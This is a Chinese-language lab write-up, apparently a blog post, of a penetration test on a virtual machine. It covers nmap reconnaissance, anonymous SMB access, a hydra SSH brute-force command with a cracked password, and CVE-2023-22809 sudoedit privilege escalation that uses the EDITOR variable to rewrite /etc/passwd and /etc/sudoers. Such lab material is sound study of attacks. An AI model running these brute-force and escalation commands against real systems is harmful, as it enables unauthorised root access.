【网安-Web渗透测试-Linux提权】CVE-2023-22809

目录

一、环境准备

1、运行环境

(1)目标主机

名称
操作系统 Ubuntu Server 16
中间件 PHP7.0 + Apache2.4.52
数据库 MySQL 5.7

(2)攻击机

名称
操作系统 Kali Linux 2023.4

2、配置sudoers策略(目标主机)

bash 复制代码
$ visudo
# User privilege specification
root    ALL=(ALL:ALL) ALL
jan     ALL=(root) NOPASSWD: sudoedit /etc/services

# 编辑好之后按Ctrl+X,接着按Y进行保存

备注:此部分的操作仅限于蓝队视角,而非攻击者的视角,所以后续的操作是假定攻击者不知道目标主机信息的情况下的操作。

二、信息收集

1、利用Nmap工具扫描C段

bash 复制代码
$ nmap 192.168.179.2/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 10:31 EDT
Nmap scan report for 192.168.179.1
Host is up (0.00010s latency).
Not shown: 995 closed tcp ports (reset)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
902/tcp open  iss-realsecure
912/tcp open  apex-mesh
MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.179.2
Host is up (0.000048s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE    SERVICE
53/tcp filtered domain
MAC Address: 00:50:56:EB:0F:0A (VMware)

Nmap scan report for 192.168.179.131
Host is up (0.0012s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8009/tcp open  ajp13
8080/tcp open  http-proxy
MAC Address: 00:0C:29:F3:9F:F8 (VMware)

Nmap scan report for 192.168.179.254
Host is up (0.00025s latency).
All 1000 scanned ports on 192.168.179.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:E9:41:EF (VMware)

Nmap scan report for 192.168.179.128
Host is up (0.0000010s latency).
All 1000 scanned ports on 192.168.179.128 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (5 hosts up) scanned in 14.05 seconds

结论:通过扫描结果可以看出,主机 192.168.179.131 是网络中最核心的攻击目标。该主机开放了多个高危服务端口,包括 Web 服务(80, 8080)、远程管理(SSH 22)、Windows 文件共享(139, 445)以及 AJP 协议端口(8009),攻击面广泛,是后续渗透测试的首要目标。

2、Tomcat版本探测

bash 复制代码
$ nmap -sV -p 8009,8080 192.168.179.131
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 22:09 EDT
Nmap scan report for 192.168.179.131
Host is up (0.00027s latency).

PORT     STATE SERVICE VERSION
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp open  http    Apache Tomcat 9.0.7
MAC Address: 00:0C:29:F3:9F:F8 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds

结论:端口 8009 运行 Apache JServ Protocol (AJP) 1.3,端口 8080 运行 Apache Tomcat 9.0.7。获取精确版本号为进一步查找和利用相关漏洞(如 Tomcat 特定版本漏洞、AJP 协议安全缺陷)提供了直接依据。

3、SMB服务详情

bash 复制代码
$ nmap --script smb-vuln* -p 139,445 192.168.179.131
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 22:10 EDT
Nmap scan report for 192.168.179.131
Host is up (0.00024s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:F3:9F:F8 (VMware)

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          

Nmap done: 1 IP address (1 host up) scanned in 5.30 seconds

结论:此次 SMB 漏洞扫描未发现可直接用于获取权限的高危漏洞,但存在一个可利用性有限的拒绝服务漏洞点。渗透测试的重心需要转向该主机上已发现的其他服务(如 Apache Tomcat 9.0.7)。

4、Web应用指纹

(1)80端口

bash 复制代码
$ whatweb http://192.168.179.131:80
http://192.168.179.131:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.179.131]

(2)8080端口

bash 复制代码
$ whatweb http://192.168.179.131:8080
http://192.168.179.131:8080 [200 OK] Country[RESERVED][ZZ], HTML5, IP[192.168.179.131], Title[Apache Tomcat/9.0.7]

结论:目标主机运行了两个 Web 服务,均非最新版本,扩大了攻击面。在后续渗透测试中,应优先针对 Apache Tomcat 9.0.7 (8080端口) 进行深入测试,因为应用服务器通常比基础的 Web 服务器(Apache 2.4.18)存在更复杂的交互界面和更多潜在的配置问题。

5、操作系统识别

bash 复制代码
$ nmap -O 192.168.179.131
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 22:14 EDT
Nmap scan report for 192.168.179.131
Host is up (0.00028s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8009/tcp open  ajp13
8080/tcp open  http-proxy
MAC Address: 00:0C:29:F3:9F:F8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds

结论:此信息与之前 whatweb扫描显示的"Ubuntu Linux"相互印证,并提供了更具体的内核版本范围。在渗透测试中,明确的操作系统和内核版本是查找系统层漏洞(如本地提权漏洞)和进行针对性攻击的重要依据。结合已开放的端口和服务(如SSH, Apache, Tomcat, SMB),可以进一步缩小漏洞搜索范围。

6、SMB服务深入检测

bash 复制代码
$ smbclient -L //192.168.179.131 -N

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            PC-20251229UZVP
└─$ smbclient //192.168.179.131/Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 13:31:20 2018
  ..                                  D        0  Thu Apr 19 13:13:06 2018
  staff.txt                           N      173  Thu Apr 19 13:29:55 2018

                14318640 blocks of size 1024. 10671532 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (84.5 KiloBytes/sec) (average 84.5 KiloBytes/sec)
smb: \>

(2)文件分析

bash 复制代码
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

结论:本次对SMB匿名共享的利用是渗透测试中的一个关键进展。不仅验证了该漏洞的实际危害,还从中提取了潜在的有效用户名 "Jan"。后续攻击路径可结合此用户名,针对已发现的SSH服务(端口22)或Tomcat管理后台(端口8080)进行暴力破解或密码喷洒攻击。

三、暴力破解靶机的SSH

bash 复制代码
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.179.131 -t 16 -vV

命令解释:

  1. hydra
    作用:启动 Hydra 暴力破解工具
    用途:用来爆破各种服务密码(SSH/FTP/MySQL/RDP 等)
  2. -l jan
    -l = 指定单个用户名
    这里用户名是:jan
    意思:只爆破用户 jan 的密码
  3. -P /usr/share/wordlists/rockyou.txt.gz
    -P = 指定密码字典文件
    字典路径:/usr/share/wordlists/rockyou.txt.gz
    这是 Kali 自带的 超大型常用密码字典(最经典)
    .gz 是压缩包,Hydra 可以直接读取
  4. ssh://192.168.179.131
    指定目标服务 + IP
    ssh:// = 爆破 SSH 服务
    192.168.179.131 = 目标服务器 IP
  5. -t 16
    -t = 设置线程数(并发数)
    这里是 16 线程同时爆破
    数字越大,破解越快,但容易被封
  6. -vV
    -v = 显示详细过程
    -V = 显示每一次尝试的用户名 + 密码
    合起来就是:显示完整爆破日志(看得见每一次试密码)

运行效果

破解后得到的结果如下:

bash 复制代码
用户名:jan
密码为:armando

四、利用CVE-2023-22809漏洞提权

1、sudo 提权的意义

sudo 允许系统管理员向指定用户或用户组下放权限,让普通用户可以临时以 root 或其他用户身份,执行部分甚至全部管理员命令。

sudo 的核心授权逻辑依赖配置文件 /etc/sudoers,该文件专门定义:哪些用户能使用 sudo、可执行哪些命令、以及以哪个身份运行。

sudo 执行时会读取该配置文件做权限校验;一旦 /etc/sudoers 配置出错或被恶意篡改,普通用户就可能越权以 root 身份执行任意命令,造成严重安全风险。

重点说明:漏洞影响的版本是在1.8.0~1.9.12p1。

2、开始攻击

Step1 :通过XShell连接到靶机

Step2:检查sudo的版本

bash 复制代码
$ sudo -V

目标主机的系统中的sudo版本刚好位于1.8.0~1.9.12p1中。

Step3:尝试提权处理

bash 复制代码
$ export EDITOR="vi -- /etc/passwd"
$ sudoedit /etc/services

能够在非root且无sudo支持的情况下,可以编辑/etc/passwd文件了。

Step4:编辑jan用户拥有sudo的权限

bash 复制代码
$ export EDITOR="vi -- /etc/sudoers"
$ sudoedit /etc/services
# User privilege specification
root    ALL=(ALL:ALL) ALL
jan     ALL=(ALL:ALL) ALL

Step5:尝试提权到root

bash 复制代码
$ sudo su root

说明:Ubuntu server 16及之后的版本,想要通过该方式提权不一定能成功!1.8 到 1.9.12p1其中多个版本的sudo,均未复现成功

相关推荐
一个人旅程~2 小时前
Q4OS-linuxDebian内核版本下载链接
linux·经验分享·电脑
YQ_012 小时前
大幅提速 colcon build —— ccache 缓存 + 并行数控制防爆内存
linux·缓存·机器人·ros2
爱学习的小囧2 小时前
VMware ESXi 双管理网口配置全教程:新增 vmk1 端口 + 主备冗余 / 负载均衡双模式实操
运维·服务器·网络·windows·负载均衡·虚拟化
傻啦嘿哟2 小时前
本地部署 vs 云服务器部署:IP环境对采集成功率的影响有多大
运维·服务器·tcp/ip
被java抛弃的网工2 小时前
Linux基础--挣点元子(1)
linux·运维·服务器
Elon ¿2 小时前
银河麒麟Server V10 部署NFS服务器及Windows客户端连接
运维·服务器
Chengbei112 小时前
FOFA高级会员、DayDaymap、360Quake、Hunter测绘搜索引擎高级会员免费使用最大1W条查询
网络·安全·web安全·搜索引擎·网络安全·金融·系统安全
positive_zpc2 小时前
计算机网络——应用层
服务器·网络·计算机网络
小夏子_riotous2 小时前
Docker学习路径——7、Docker搭建MySQL 主从复制
linux·运维·mysql·docker·容器·centos·云计算